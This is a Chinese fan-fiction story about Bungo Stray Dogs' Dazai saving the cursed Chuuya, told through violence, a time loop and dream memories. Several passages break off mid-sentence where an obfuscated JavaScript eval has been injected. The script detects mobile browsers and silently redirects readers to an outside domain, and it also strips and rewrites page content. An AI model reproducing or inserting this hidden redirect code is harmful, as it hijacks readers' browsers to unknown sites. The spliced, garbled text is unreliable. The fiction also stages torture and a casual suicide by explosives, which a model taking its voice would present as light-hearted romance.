《[文野]太中小剧场》 1. 嘴比命硬太宰治 “wowo~yeah~独自一人无法殉情~” 自从“异能者连续自杀”案件结束后,太宰这一个月的心情都非常美妙,具体表现为偶尔肯“赏脸”参加庆功宴,话也变得比以前更多了,虽然大部分时候都在讲他很讨厌港口黑手党那位重力使。 他俩嘴上说着互相讨厌,那声“哒宰”全横滨可都听见了,于是侦探社众人一致认为:互相讨厌,只不过是他们男同的把戏罢了! 有了这个先见之明,太宰治再唱那什么《殉情之歌》,总让人觉得好像在暗戳戳秀恩爱呢。 可恶的男同,不过等会就有人来收拾太宰治了。 侦探社众人默默移动自己的位置,确保自己跟沙发隔的远远的,同时在心里默数—— 三、二、一。 “太宰!!!”国木田怒气冲冲的声音由远及近传来,敦和镜花对视一眼,都从对方眼里读出“就知道会这样”的意思,默契地同时离开这个是非之地。 国木田已经冲到太宰身边,一下子摘掉了他的耳机,气愤道:“你天天不是翘班就是偷懒,有空不如多去接几个委托啊!” “哎呀,国木田君不要生气嘛,要是有委托,当然是会自己找上门啦。”太宰边说边揪过耳机戴在头上,在沙发上换了个方向躺着听歌。 国木田盯着太宰,火冒三丈,怒到:“‘异能者连续自杀’刚结束不久,整个横滨死了那么多异能者,到处都是需要帮助的人,你有空——” “重建横滨这种事,不是还有政府和港口黑手党呢嘛,”太宰在沙发换了个姿势,由躺着变成趴着,有理有据道,“重建横滨可是要花很多钱哦。” 提到钱,这确实是侦探社力所不能及的方面了,不过看见太宰这副偷懒的样子还真是让人生气啊! “叮铃——” 门铃响了一声。 太宰朝门口点了一下头:“哇哦,已经有委托找上门了哦。” 门铃又响了一声,委托人似乎很着急,国木田脸上浮现出喜色,瞬间不再理会他这位天天为了偷懒无所不用其极的同事,三步并两步走到门口,打开门。 门口站了一位金发女性,上身穿着黑色正装,下面是一条半身裙,高跟鞋踩在地上嗒嗒作响,看起来非常干练。 “你好,小姐——” 金发女郎见有人来,摘下墨镜,急切打断他:“请问太宰先生和与谢野医生在吗?我有委托。” 四目相对,国木田愣了一下,认出这位金发女郎是港口黑手党那位樋口小姐。 港口黑手党来侦探社有什么事? 国木田笑意淡下来,手指推了一下眼镜,既不热情也不冷淡道:“在,但我没记错的话,你是港口黑手党的人吧。” 话音落下,国木田高大的身形寸步不让地站在侦探社门口,眼里的意思很明显,想进武装侦探社,先说出你的目的。 “我有急事,但抱歉,现在不能说。” “那就……” 后半截话被一只手打断,那只修长有力的手握住国木田的肩膀,不动声色地将他往后掰了半步,随后手的主人非常之不客气非常之没眼色地挤进两人之间的空隙。 缠满绷带的手臂格外绅士地向前伸出,太宰含情脉脉道:“这位美丽的女士,能邀请您和我一起殉情吗?如果能和您这样美丽的女士殉情,那将是多么美好…” 不着调的话一出,将原先剑拔弩张的氛围一扫而空。 樋口没空在这玩这种无聊的把戏,她真的有非常着急的事情,于是出口打断太宰的话,询问:“太宰先生,能请您和与谢野小姐和我去一趟Mafia吗?” 太宰治瞬间收起脸上笑意,将手放在口袋里,歪头好奇道:“我和与谢野?你们Mafia是有人中了异能快要死了吗?” 樋口知道自己肯定瞒不过眼前这个智多近妖的男人,出口直言道:“是的,有人受了重伤,性命垂危,至于是谁……我不能说。” 太宰一副很惊讶的表情,眼睛睁圆,作出思考的样子,自信道:“让我想想,能让你过来请我们的人,肯定不会是芥川,也不可能是那个小矮子,该不会是森鸥外叫你过来的吧。” 虽然是疑问,但语气笃定,而且居然一下就猜中了。 樋口承认道:“你猜的没错,是他让我来的。” “这样啊~”太宰伸了一下懒腰,又将手交叠在脑后,悠哉悠哉踱步回到沙发前,死鱼一样直挺挺倒下。 “这个忙我帮不了。不过如果你愿意和我殉情的话——”他拖长调子,赚足了胃口,才不嫌事大地道,“我也不愿意帮哦!” 讲完这句,太宰很轻地笑了一声,戴上耳机继续两耳不闻窗外事。 樋口深吸一口气,趁其不备推开挡在门口的国木田,冲到太宰面前,大声道:“我听说,太宰先生曾经曾经在Mafia待过很长一段时间,还当过最高干部,那至少,对于森先生,也是有几分感情在的吧!” 太宰伸手将耳机推开一点,睁开鸢色的眼睛,那双像是无机质的玻璃一般的眼珠慢慢转动,盯着眼前的女士,目光在暖色灯光下也冷得像淬过寒冰,谁看过都会知道,那是杀过人的人才会有的眼神。 樋口下意识后退半步,不自觉戒备起来。 下一秒,太宰又闭上眼,无形的威压潮水一般褪去,仿佛一切只是樋口的错觉,他依旧瘫在沙发上,懒洋洋提不起劲道:“那么大一个黑手党,森鸥外还是个医生,能有什么用得上我的地方吗,想要的也只有我的命吧。哎,话说,作为敌对组织,Mafia要真是能损失些战力,我可是很高兴哟。总之,我和你们首领没有恩情只有仇恨,我和与谢野不会跟你们过去的,你走吧。” 樋口急切道:“太宰先生,请您放心,我以港口黑手党的名义担保,我们一定不会对您出手,这次的事情真的很着急……” “别让我说第二遍了,有合作让你们首领来谈,Mafia人员的委托我们侦探社不会接。” 太宰语气是少见的严肃,话落在地上,斩钉截铁,似乎没有丝毫转折的余地。 樋口眼睛红了,她戴上墨镜,语气也冷静许多,顿了片刻,意有所指道:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853244|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中也先生的委托呢,你愿意接吗?” 太宰翻身面对沙发,打了个长长的哈欠,觉得一切都无聊透了:“当然——更不愿意啦,我最讨厌那个黑漆漆的小矮子了,不过我可以允许你说说他遇见什么倒霉事了,让我高兴高兴。” 樋口知道向侦探社求救确实行不通,心里堆满了失望和焦急,面色却恢复了从容气度,向前走了一步,抱臂弯腰,用两个人才能听见的声音道:“那真是要让你如愿了,他要死了。” 说最后四个字时,积压了一天的情绪终于找到宣泄口,不自觉带上一点哽咽。 中原中也和芥川关系不错,她作为芥川的下属,不可避免和中原中也有很多接触。 不管怎么说,那位重力使确实是一个非常让人信服,让人想要追随的人,有他在的战场总会是压倒性的胜利。 他站在那里,就能给人无限一往无前的勇气,而且,他救过樋口很多次。当然,那位重力使大人可能根本不会记得这些事,因为他救过的人实在太多。 这样灿烂的生命也要坠落,就像天上的太阳要落下来一样让人惶恐害怕。 樋口确实是奉森鸥外的命令来请太宰和与谢野,但其中也有对这位上司真诚的关心,但她也了解过太宰治和中原中也的往事,这两位一直水火不容恨不得杀了对方,就算强行将太宰治绑过去,看见要救的人是中原中也,他也只会奋力挣扎然后狂笑那位讨人厌的小矮子终于死了吧。 将多余的情绪咽下,樋口撂下一句“告辞”就要离开,高跟鞋嗒嗒轻响如惊雷一样吵醒了瘫在沙发上的太宰治。 他不知何时站了起来,叫住樋口,迈步走到她身前,压低声音,语气嘲弄里夹杂着冷漠:“骗人也要找个好理由吧,那个微生物三天前晚上九点还在横滨骑着机车转悠呢,Mafia最近可没有什么能让最高干部献上生命的大事呢。” 樋口转身,墨镜遮住她大半张脸,看不清神色,故作平静的语气里藏着一丝颤抖:“太宰先生也曾是黑手党,您应该最清楚,在黑手党里最不能保证的就是性命。还有,虽然知道您是个冷血怪物,但至少这件事,暂时要保密。” 对峙结束,樋口没再多说,因为森鸥外交代过,如果说是首领的要求但太宰拒绝,之后只需要说五个字“中也要死了”,那么太宰一定会来。 现在看了首领的预言落空了呢。 交谈破裂,樋口不想再在侦探社多待,她正要绕过太宰离开,却被人拉住小臂。 那只手的主人下手十分没分寸,握得生疼,隔着衣服也能感受到对方手臂在颤抖,差点让她以为对方在害怕什么。 与之相对的,是太宰愉快兴奋的语气:“我改主意了,我们接下这个委托啦。哎呀,受伤到濒临…死亡的中也,还真是让人期待呢!” 说到死亡两个字,这位太宰先生奇异地卡壳一瞬,说是期待却让人听不出期待,只听出来尽力想要藏却没藏好的害怕。 太宰治害怕中原中也死亡。 樋口被自己的想法逗笑了,这怎么可能呢,他们可是恨不得对方赶紧死掉。 2. 中也最狼狈的样子 与谢野还没搞清楚状况,就已经被樋口和太宰拉着到了武侦楼下。 太宰:“车钥匙给我吧,开车这种事就不劳烦两位美丽的小姐了。” 樋口毫无防备地把车钥匙递过去,同时感到身后的衣服被人轻轻扯了一下,她扭头,看见与谢野一脸一言难尽的表情。 樋口觉得莫名其妙,还以为对方是不去Mafia,带着情绪工作可不太好,于是她开口对与谢野道:“先上车吧,路上我和你讲讲详细状况。” 然而具体情况到底还是没有讲成,樋口和与谢野刚坐上车,安全带还没来得及系上,车子已经猛地窜出去,两人被惯性狠狠扯在后座上,太宰声音自前方传来,听在耳朵里飘飘忽忽像是来自天界。 “那个小矮子现在在Mafia私立医院吗?” “啊啊,是——的——”樋口说出口的话被从车窗灌进来的冷风吹成几段,她拼命扯住安全带寻求一点安全感,想要张口让太宰先生别开这么快,可风实在太大。 Mafia商务车性能很好,但和赛车不能比,然而太宰就开着这样的车在川流不息的高速路上横冲直撞,车轮几乎要和地面擦出火星,好几次差点就要发生事故,又被太宰猛转方向盘避过去。 樋口从没见过这么不要命的司机,下意识去看和她一起坐在后排的与谢野,对方已经认命般闭上眼睛,一副听天由命的样子。 刺啦—— 紧急刹车后车轮和地面发出刺耳的声音,Mafia私立医院已经到了。 樋口打开车门,“哇”一声就要吐出来。 太宰拉住她,很没诚意安抚道:“小姐,先带我们进去吧,没有你带着我们可要被射成筛子了哦。” 樋口一只手捂住嘴,另一只手在身上翻找,把Mafia身份牌交给太宰,眼神示意“快过去吧真的非常着急”。 接过身份牌,太宰带着与谢野一路畅通无阻来到Mafia医院重症监护室。 与谢野惊奇:“太宰,你对这还挺熟悉?” “嗯,毕竟以前没少来呢。”他一面四平八稳回答,一面大步向里走,又不明不白补了半句:“我知道中也在哪。” 与谢野第一次在太宰身上看见名为“着急担忧”的情绪,看着他面无表情大步流星向里走,心道可能太宰自己都不知道,他现在心跳急促杂乱,呼吸声也不平稳,强装的镇定就像纸糊得一般一戳就破了。 - 重症监护室,森鸥外和红叶看着机器上的数据,中也的生命特征正在飞速流逝,心跳和呼吸都很微弱,两人相视一瞬,默默扭开头,同时叹了一口气。 门就在这时被打开。 “太宰?”森鸥外脸上终于浮现出一点喜色,“你来的比我想象中要快。” 太宰敷衍“嗯”了一声,没什么感情笑道:“听说贵司的干部大人性命垂危,特意过来看热闹呢。” 说着,他的眼神已经凝在病床上的人身上。 中也躺在那里。 太宰一边走到床边,缓缓吐出剩下半句话:“嗯,真不错啊,中也这种柔弱的样子,没有让我失望哦!” 他低头打量病床上的人,平日里打理得整齐无比的赭色卷发散乱落在枕头上,充满生机的蓝眼睛轻轻闭着,只能看见栖息在眼睫之上蝴蝶一般的睫毛,那张张口不是怒骂就是嘲讽的唇此刻没有一丝血色,身上布满了各种用于检测生命特征的管子,还有在皮肤下如蛛网一般纵横的黑色印记,已经从胸膛蔓延到脸颊旁,是诅咒的痕迹。 惨白,死寂,像北方过境后的旷野,没有一丝生机。 明明安安静静躺在病床上,却比他见过的任何样子的中也都要狼狈的多。 太宰小心翼翼探出手,将温热的掌心送到中也的心口,病床上的人身上没有一丝温度,心跳也几近于无,像一具冰冷的尸体。 片刻后,森鸥外出声询问:“怎么样,太宰,中也是中了异能吗?” 太宰慢慢抽回自己的手,手上属于活人的体温被那具冰冷身躯毫不留情攫夺过去,只给他留下寒冰一样的温度,他不敢相信地盯着自己的掌心,舌尖擦出“哈”地笑音。 片刻后,他回头对着目光急切的四人道:“不是异能,是某种诅咒,靠医疗手段无法治愈。” 房中几人面色均一冷。 与谢野跨步走到床前,仔细地查看中也身体状况后,笃定地附和道:“他的身体看不出丝毫受伤迹象,我的异能没办法发挥作用。” 随着这句话出口,屋里气氛降至冰点,空气滞塞到了让人无法呼吸的地步。 樋口喃喃:“难道没有挽救的办法了吗?” 森鸥外却出乎意料地冷静,他站在一旁,轻微挑眉道:“太宰既然认得出是诅咒,那一定有破解的办法了吧?” 太宰眼睛一错不错盯着那台用于监控中也生命特征的机器,心跳的呼吸都很微弱了,不出意外的话只需要两个小时,病床上的人就会一命呼呜。 他站起身,吝啬地分出一点目光给森鸥外,语气里流露出喜悦无奈:“呜~没办法了呢,诅咒发作快,想要拔出却非常困难,更何况,我现在可没有义务救Mafia干部的性命——” “不用这样绕弯子,需要什么帮助就直说吧,我知道,你不会让他在你面前死去。” “……” 屋里沉默片刻。 “哈哈哈……”太宰突然无声大笑起来,笑得止前仰后合浑身发抖,半晌后才堪堪停住,用手指揩去眼角生理性泪珠,然后一秒敛去笑意,鸢色眼珠一转不转盯着森鸥外,冷漠道,“你很懂我吗?” 森鸥外伸手递过去一张手帕,被太宰一把打开,他眼神锋利,语气是按耐不住的嘲讽:“森先生真是更年期了呢,……给我手帕?该不会以为我在流眼泪吧。眼泪那种没用的东西我可没有,更不会为了中也流。给我银之手谕。” 森鸥外轻笑一声,从口袋里拿出早就准备好的银之手谕递给太宰。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853245|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “连这个都准备好了吗?”太宰挑眉,勾起嘴角,明显不太开心,但还是伸手接过那张银之手谕,回头道,“与谢野小姐,麻烦你在这里看着中也,红叶姐,你对中也最熟悉,和我走一趟吧。” 三两句安排好接下来要做的事情,太宰毫不犹豫离开房间,没再分给床上躺着的干部大人一点眼神。 只是刚踏出重症监护室,他脸上强行挤出来的笑意立马淡去,无限疲惫涌上心头,又被他强行压下去。 至少现在,在监控下,他不能表露出难过和对中也的在意,也不能为中也的遭遇叹一口气。 “红叶姐,跟我讲讲今天中也发生了什么吧。” 尾崎红叶挑眉,沉吟片刻,徐徐道:“也没什么,只是白天的时候芥川那小子发现中也没来上班,大家还笑称劳模大人终于要给自己放一天假了,直到晚上有几份文件要中也签署,去他家里才发现人已经昏迷很久了。” 她尽量平静地叙述完中也出事前的事情,心里还是止不住叹息,Mafia的人对诅咒没什么了解,见中也身上似乎没有中了异能的痕迹,还以为是他太累,拖到现在才无计可施去找太宰治来。 “嗯,我知道了,我大概已经有了猜测。” “嗯?”尾崎红叶跟太宰并肩走着,吐出一个疑惑的尾音。 “所谓诅咒,一定是要有某种介质将拿东西种到身体里,中也身上还有淡淡红葡萄酒的味道,我猜,幕后之人是靠这个给中也种下诅咒。” 虽然有了猜测,但“诅咒”这种东西太宰也只是略有耳闻,具体的发动条件还有解除条件他并不清楚。 只有一条,杀了种下诅咒的人,那么诅咒就会消失,至于其他的解法,暂时还不清楚。 两人开车来到中也的别墅,刚进门,就发现整个屋子十分整洁,吧台上已经被收拾干净,连一点酒的痕迹都没有留下。 “红叶姐,麻烦你帮忙把昨晚到现在的监控调出来吧,我在屋子里找找线索。” “使唤起人来还是那么顺手呢。”尾崎红叶尾音带笑,不紧不慢离开房间。 红叶走后,太宰仔细检查门锁,并没有暴力破开的痕迹。 那么这个人一定是被允许进入中也家里的,这样的人可不多。 为什么要大费周章拿走吧台上的酒呢,除非有人看到这瓶酒,就能猜到他的身份,而给中也送酒同时能让中也接受的人—— 电话响起,尾崎红叶的声音印证了他的猜测:“太宰,除了今天傍晚过来汇报工作的那几个部下,并没有其他人来过中也这里。” “红叶姐,只看监控你能认出那三个人吗?” “可以,这三个人都是中也比较亲近的部下,你怀疑是他们吗?” “就是他们。红叶姐,我体术不算好,麻烦你将他们三个先关押起来了。” 太宰一边打电话,一边在中也屋子里摸索,碰到熟悉的机关时,他轻笑一声,将里面的东西拿出来塞进口袋。 3. 看不清楚自己的心 夜晚到来,黑手党某处私人公寓里漆黑一片。 “嘀——”的开门声后,脚步声响起,啪一下打开了墙上的开关,光挤满了整个屋子。 这是黑手党人员的住处,客厅里十分整洁,一切家具都如往常一般,除了坐在沙发上的那个黑发男人。 砰一声枪响,门在巨大冲击力下关闭。 砰砰砰砰。 黑发男人又连开四枪,击中了这个黑手党的左手右手和左右膝盖。 一切发生在转瞬间,男人已经走到他跟前,一脚将他踹倒在地,同时他的手脚被捆在一起难以挣扎,头磕在地上,嘴巴被强行打开防止自尽。 冰凉的匕首抵在脖颈,黑发男人声音冷漠,带着十足的压迫:“你说,我是直接杀了你好呢,还是拿匕首一点一点折磨你好呢?” 被抓住的黑手党成员冷汗直下,艰难开口:“你怎么知道…是我,红叶…不是…” 黑发男人——也就是太宰治,很轻很阴郁地笑了一声,似乎很想让他做个明白鬼,道:“喔,既然你这么问,那咱们都坦诚一点好了,我先回答你一个问题,红叶姐那边不过是个障眼法,我从一开始的目标就是你。而你屋子里藏着的东西正好印证了我的猜测,是你给中也下的诅咒,对吧!” 最后二字咬字狠辣,太宰手中匕首轻轻往下划,切出一块薄如蝉翼的皮肤,殷红色细小血珠慢慢冒出来,将银色匕首染上红色。 这位黑手党并不是中也那三位部下中的一个,他虽然归属于中也,但甚少有机会能见到干部大人,与之相对,中也出事也不应该怀疑到他身上才对。 “你怎么…发现…” 掐住他脖颈的手猛地用力,手上青筋暴起蜿蜒到袖间,毫不掩饰的杀意铺天盖地袭来,太宰一字一句道:“那是第二个问题,先回答我,为什么中也身上能种上诅咒,嗯?这位来自欧洲的卧底大人。” 黑手党眼中闪过一丝惊讶,没想到这个男人在这么短的时间里就查明了他的身份,他心中后悔极了,本来为了不引起注意,他特意完成了自己的工作到晚上才回来,想听见中也的死讯后再遁逃,明明已经有人去抓中也的三个部下了,却没想到还有人在这等着他。 不行,他要尽量多拖延时间,至少让那位干部大人死后再说。 “你…不是…已已已经…知知知道…了了了…吗,我——” 太宰瞬间就察觉出他在拖延时间,诅咒生效是二十四小时,现在算算也该差不多了,他嘴角溢出冷笑,鸢色眼睛里全是疯狂和狠厉,声音冰凉如毒蛇吐信: “哈哈哈哈,你也想要中也的命吗,不好意思,那是我的哦。” 砰砰砰砰砰砰。 连续六枪,打在后脑勺上,就算是个变异种丧尸也该死透了。 真是太蠢了啊,蠢货。 拜中也所赐,太宰对葡萄酒也了解甚多,基本上闻到味道就能分清是哪一款葡萄酒,而中也昨晚开的那瓶酒,一般人可绝对没有能力和门路能够弄到,知道了是什么酒,要查出来是谁简直再简单不过了。 太宰冷漠地看着地上的尸体,对方拖延时间的行为表明资料上写的都是对的,那么这人就没有留着的必要了。 一脚踢开尸体,太宰跌跌撞撞走向屋里的沙发,上面是他破解开保险箱后找到的对方藏起来的关于“诅咒”的资料。 这是一种类似于睡美人的诅咒,发动条件是对方心里一定要有一个深爱而且确定再也不能得到的人,而解除也很简单,一是杀了种下诅咒的人,二是深爱之人的真爱之吻,才能将中也从沉睡中唤醒。 太宰扶额,很轻很轻笑了一声,嘴角带着嘲弄和无奈,中也还真是要成了“睡美人”啊。 他捏着资料的手不自觉用力,纸张在他手指间变形。太宰漫无目的地想,搞什么啊,那个大脑发育不完全的笨蛋蛞蝓怎么可能理解什么是爱情。 他会爱的只有红酒,机车,帽子和摇滚乐吧。 可这些都是他轻而易举就能得到的东西吧。 中也那种单细胞白痴也在等待着某个人的爱? 太宰神色冰冷,眉间微微蹙起,匕首在灵活的手指间打转,周身气质森然,似乎极为不解。 怎么可能,不可能的。 他想的出神,忘了匕首还握在手里,冰冷刀尖刺进皮肤,血珠如雨滴一样连绵不断,将地下染成一片红。 刺痛唤回神智,他也理解不了自己刚才在干什么蠢事。 太宰拿起手机想问问中也的情况,与谢野的电话却先打了过来。 “喂,怎么了?” “太宰!你快回来吧!中也先生目前没有生命特征了。” 中原中也…没有…生命特征了? 这是什么意思,那个讨厌的小蝙蝠明明昨天还很有生机呢。 简单的字词连成句字,太宰治想了半天也没想明白是什么意思。 沉默了十几秒后,太宰“哇哦”一声,语调怪异。 “知道啦,那我庆祝一下吧。” 太宰拿出被风衣包裹的炸药,以防万一枪械没能杀掉那人,他将炸药藏在了沙发底下还有房间里,现在又拿回客厅,堆在那具已经冰凉的尸体旁边。 就当放个烟花庆祝一下好了。 按钮按下,太宰象征性走了两步,没走出门,炸药巨大的威力就让他失去意识。 真是不小心,让炸药炸死了呢,可惜没有美女,看来只好和那个黑漆漆的小矮人一起殉情了。 真是讨厌啊,中也简直是全世界最让他讨厌的人。 这样的人,上天怎么能先将死亡恩赐给他呢? - 武装侦探社,员工宿舍。 夜晚十二点,太宰治从沉睡中惊醒。 被炸药炸死的疼痛还残留在记忆里。 他立即拿出手机看了看时间,随后怔住。 如果那一切不是梦的话,这个时候应该是中也刚被种下诅咒的时候。 这算什么,游戏失败了读档重来吗? 他沉默地给中也打电话,夜晚十二点,那位劳模干部大人可不会睡觉。 铃声划破漆黑安静的夜晚,又渐渐停息。 打了三次,中也都没有接。 太宰起床穿上衣服,将手枪放进口袋,一边走一边给尾崎红叶打电话,三言两语交代了诅咒的事情。 接着,他拿走车钥匙,熟门熟路走到不久前才来过的,那位Mafia卧底家里。 手枪起落,人命消散,血溅在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853246|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的衣摆处,太宰只是皱了一下眉头,并不理会,确定人已经死后,他驱车来到中也家中。 “中也怎么样了?” 刚走进门,他发现里面站着芥川,樋口,森鸥外还有尾崎红叶,以及其他他不认识的人。 进门的脚步顿住,太宰靠在门口,迎接屋里四人审视的目光,嘴角带着意味不明的笑,率先招呼道:“啊,来的还真是齐全,小矮子人缘不错嘛,怎么样,醒了吗?” 太宰大半夜一通电话打到Mafia,深更半夜惊醒了尾崎红叶还有许多人。 尾崎红叶质问他:“跟你说的一样,中也现在醒不过来,绝对不是正常的昏迷,你怎么知道这件事的?” 太宰叹了一口气,读档从来就这点不好,难道还要他跟眼前这群人从头到尾解释一切吗,那当然不可能的啦! 他倚着门,手放在口袋里,懒洋洋道:“嗯,你们就当我和中也心有灵犀吧。噫,这么说好恶心。” 太宰自言自语解释后,一阵恶寒,转开话题道:“怎么样,中也醒了吗?” 森鸥外平静回答:“没有,没有醒来的迹象,你去杀人了吗?” 衣摆处的血迹并不显眼,但这当然逃不过森鸥外的眼睛。 太宰愣神一瞬,眼神下意识落在屋里静静躺着的中也身上,又瞬间注意到自己的失态,露出个灿烂的笑,张口胡诌:“那怎么可能啦,我又不是黑手党。森先生这么关注我,真是叫人意外啊,有空不如多看看您的干部大人。” 拙劣的谎话,生硬的转折,这可不是那位智多近妖的前黑手党最年轻干部大人的风格,除非他现在心里非常非常慌乱,连个像样的谎话也说不出来。 森鸥外答道:“医疗设备和人员都在来的路上,你要看看中也的状况吗?” 他比出“请便”的手势,太宰也没在和他虚以委蛇,维持着手放在口袋里的姿势,慢慢走到中也身边。 现在时间还早,中也的生命力还没有被诅咒夺取,面色红润,气息平稳,看起来就好像只是睡着了而已。 但不对,呼吸节奏不对,中也睡着时呼吸频率会再慢一点。 这种细微的差别说出来根本不会有人信,可他就是知道,中也不在睡觉。 太宰半蹲下去,刚伸手想要检查中也的状况,忽然扭头道:“你们先出去吧,医疗设备的话,其他都不需要,只要能读取记忆的就好了,一小时内送来。” 在港口黑手党的地盘上这么使唤人,红叶神色凝重,刚想说什么,就被森鸥外制止。 “按太宰说的办吧。” 关上房间门后,红叶才疑问道:“Boss,把中也一人交给太宰真的没问题吗?” 毕竟现在Mafia和武侦算是敌对组织,太宰又是Mafia的叛徒,两人年少时候真的算是水火不容,就这样把中也交给太宰吗? 樋口和中也的部下也都小心翼翼看着森鸥外,森鸥外无奈:“世界上最不希望中也出事的人,恐怕就是太宰了,不用担心。” 虽然得到了首领的安慰,但在场除了芥川谁也没有放下心,太奇怪了,深更半夜,太宰怎么知道中也会出事,而且这位前干部大人说话云里雾里,说了半天一点重点信息没透露,真是太可疑了。 4. 最好的十六岁 可疑的某人一下子掀开中也身上的被子,开始脱他的上衣,而床上躺着的干部大人无知无觉,任人宰割。 上衣脱下后,中也苍白肌肤裸露在外,不愧是Mafia体术大师,精瘦的上身布满了各种各样的伤痕,太宰将他翻来覆去看了很多遍,没有发现诅咒的痕迹。 看来杀死种下诅咒的人是有用的,只是为什么中也没醒呢。 资料上说,如果这种情况还没有醒来的话,那可能是身中诅咒的人不愿意醒来了。 太宰伸手晃了晃沉睡的中也,嘲笑道:“搞什么啊,中也这种白痴难道真的在等待王子的真爱之吻?” 真是的,谁会喜欢中也这种微小的单细胞生物啊! 咚咚咚! 敲门声传来,太宰走到门口打开门,等到医疗人员装备好用于读取记忆的装置后,太宰又将他们都请了出去,期间几乎没什么交谈。 谁都看的出来,眼前这个黑发男人心情糟糕透了。 - 连接好读取大脑活动的装置后,太宰脸上露出一丝笑意,终于可以光明正大读取中也内部了,他也很好奇,单细胞小蛞蝓平滑如鸡胸肉的大脑皮层每天都在思考什么呢? 打开设备,闭上眼睛,一阵轻微眩晕过后,他来到了中也的世界。 他惊讶地发现中原中也从来不会做梦的中原中也似乎在做梦。 诅咒给了中也毕生难求的一场美梦,梦里却不过是他们当年那些无比平凡的日常。 就像现在,这棵树上,这条河边,大概是他们的十五岁。 某次行动结束后。 十五岁太宰站在河边伸懒腰:“哇哦,好清澈好美丽的一条河,非常适合清爽明朗且充满朝气地自杀呢!” 十五岁的中也不耐烦地站在一边,一脸“你他O有病吧”的表情。 十五宰笑得很开心:“哇,中也怎么还在这里,小狗要阻止主人自杀吗?” “我不是狗!”十五岁中也握紧拳头,“你找抽是吧!” “没有哦,我只是想自杀而已,可是中也在这里太妨碍我自杀了呢。” “……哈,谁会管你个自杀狂魔啊,要死赶紧死去吧。”说完这句,十五岁中也毫不犹豫扭头,气势汹汹离开。 扑通—— 水花溅到十五岁中也身上,他拧着眉,一边加快了脚步一边嘟囔“太宰去死太宰去死太宰去死”。 太宰受困于中也的视线,看不到身后发生了什么,不过想想也知道十五岁的自己已经一头扎进河里开始漂流了吧。 呜,中也那时候真的很讨厌自己呢,居然真就那么丢下自己走了啊,不过这种事情有什么好回忆的呢,中也的白痴大脑果然让人无法理解。 十五岁中也步伐飞快,闪身躲进一条小巷子,突然动用重力异能消去自己的重力,接着巷子里的矮墙一下子跃到一旁的房顶上,沿着房顶跨越。 方向好像是,十五岁太宰漂流的方向。 尾随了一路,眼见那个自杀狂魔的身影要消失在河里,十五岁中也顾不得太多,从楼顶一跃而下到河边,拉起被水淹没的太宰,借力将他一脚踹上岸。 十五岁太宰猛地砸到河边墙上,将墙面砸出一个人形坑,滑坐在墙边猛烈咳嗽,像是要把五脏六腑都可出来,生理性泪水染红眼眶,水珠从发梢滴落在脸上,让人以为是眼泪,他就顶着这样一副惨兮兮的样子无理取闹道,:“呜哇!中也真是多管闲事,还这么粗鲁,啊啊啊啊啊啊,我最讨厌疼了啊,真是糟糕透了。” 十五岁中也从鼻子里发出“哼”地一声,走到十五岁太宰跟前,居高临下看着他:“嘁,谁要管你啊,我巴不得你赶紧去死好不好!太宰治死不死我可管不着,可Boss安排你做我搭档,我的搭档可不能死。你想自杀,那你去跟Boss说让他给我安排其他搭档啊,我可不愿意跟你这种自杀狂魔一起。” 撂下狠话,十五岁中也又头也不回地离开,一副讨厌死了太宰治的样子,但这回也依旧没有走远,熟门熟路躲到了河边的树上,借着茂密的树叶小心观察靠在墙边的太宰,小声呢喃“我是不是打重了,那家伙身板也太脆弱了吧还不站起来”。 看见眼前的一切,太宰哈哈笑了起来,原来中也以前都是躲在树上的,肯定是中也太小了他才没发现。 等中也醒了以后,自己要好好嘲笑他,这么口是心非的搭档。 - 眼前一阵眩晕,太宰又被中也的梦席卷着来到一个地方。 视线还没恢复,令人作呕的血腥气味争先夺后涌入太宰鼻腔,到处都是鲜血,死人,血水蜿蜒流向远处,而远处只有被暴力破坏的树木和焦黑的土地,场面已经不能用一片狼藉来形容了。 这完全就是人间炼狱! 这是十六岁,中也第一次开污浊,他们两个一起解决“魔兽”事件。 中也呢? 太宰一回头,就看见十六岁伤痕累累的中也躺在十六岁太宰治怀里,像受伤后的小猫一样安静。 十六岁太宰就这样抱着中也,完全不在乎地上的血污和尸体,一深一浅带着中也离开战场,似乎想要这样抱着中也回到横滨。 狂风将十六岁太宰的黑色风衣吹得猎猎作响,他的背影无比孤独,像是宇宙中独行的彗星,在辽阔无垠的宇宙中守护着独属于他的珍宝。 十六岁的中也惊醒过一瞬间,战斗的警觉让他下意识弓起腰,抬头看见太宰的脸,神经一松,又闭上眼睛,条件反射一般将头靠在太宰肩膀,手指无意识攥住太宰的领结。 这样下意识的依赖,当时谁也没发现,除了他这个不速之客。 太宰托着下巴,嘴角是他自己都没察觉到的微笑,原来中也潜意识里那么相信我吗! 这个发现还真是让人开心啊。 